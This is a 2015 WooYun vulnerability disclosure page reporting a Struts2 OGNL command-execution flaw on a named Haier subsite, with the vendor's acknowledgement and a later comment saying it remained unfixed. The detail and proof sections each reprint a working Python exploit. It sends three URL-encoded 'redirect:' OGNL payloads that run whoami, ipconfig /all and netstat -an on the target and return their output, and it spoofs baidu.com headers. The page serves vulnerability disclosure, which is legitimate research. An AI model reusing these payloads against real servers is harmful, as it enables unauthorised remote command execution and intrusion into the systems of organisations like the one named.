当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124005

漏洞标题：海尔集团某分站st2漏洞

相关厂商：海尔集团

漏洞作者： PyNerd

提交时间：2015-07-02 09:53

修复时间：2015-08-17 17:22

公开时间：2015-08-17 17:22

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-02： 细节已通知厂商并且等待厂商处理中
2015-07-03： 厂商已经确认，细节仅向厂商公开
2015-07-13： 细节向核心白帽子及相关领域专家公开
2015-07-23： 细节向普通白帽子公开
2015-08-02： 细节向实习白帽子公开
2015-08-17： 细节向公众公开

简要描述：

土豪公司你好，请问有礼品送我吗？

详细说明：

http://haikehui.haierhouse.com/dkt/webhkh/webCommonAction!goHome.do
不太喜欢用工具，喜欢自己写POC验证

shengji.png


#coding=utf-8
import requests
import sys
s = requests.Session()
headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'Origin': 'http://www.baidu.com',
        'Referer': 'http://www.baidu.com',
        'Host': 'www.baidu.com'
        }
url = sys.argv[1]
payload1 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
payload2 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'ipconfig','/all'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
payload3 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
r1= s.get(url + payload1, headers=headers)
r2= s.get(url + payload2, headers=headers)
r3= s.get(url + payload3, headers=headers)
print "[+]Current User:  %s[+]IP Configuration: %s[+]Current Connections: %s"  % (r1.content, r2.content,r3.content)

漏洞证明：

不喜欢用工具，喜欢自己写POC验证

shengji.png


#coding=utf-8
import requests
import sys
s = requests.Session()
headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'Origin': 'http://www.baidu.com',
        'Referer': 'http://www.baidu.com',
        'Host': 'www.baidu.com'
        }
url = sys.argv[1]
payload1 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
payload2 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'ipconfig','/all'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
payload3 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
r1= s.get(url + payload1, headers=headers)
r2= s.get(url + payload2, headers=headers)
r3= s.get(url + payload3, headers=headers)
print "[+]Current User:  %s[+]IP Configuration: %s[+]Current Connections: %s"  % (r1.content, r2.content,r3.content)

修复方案：

升级

版权声明：转载请注明来源 PyNerd@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-07-03 17:20

厂商回复：

感谢乌云平台白帽子的测试与提醒，我方已安排人员进行处理

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-03 19:58 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    就给4个rank，逼我内网漫游的节奏。。

  2. 2015-09-08 23:17 | Mark0smith ( 路人 | Rank:12 漏洞数:6 | 我更像是一个小松鼠)

    没修复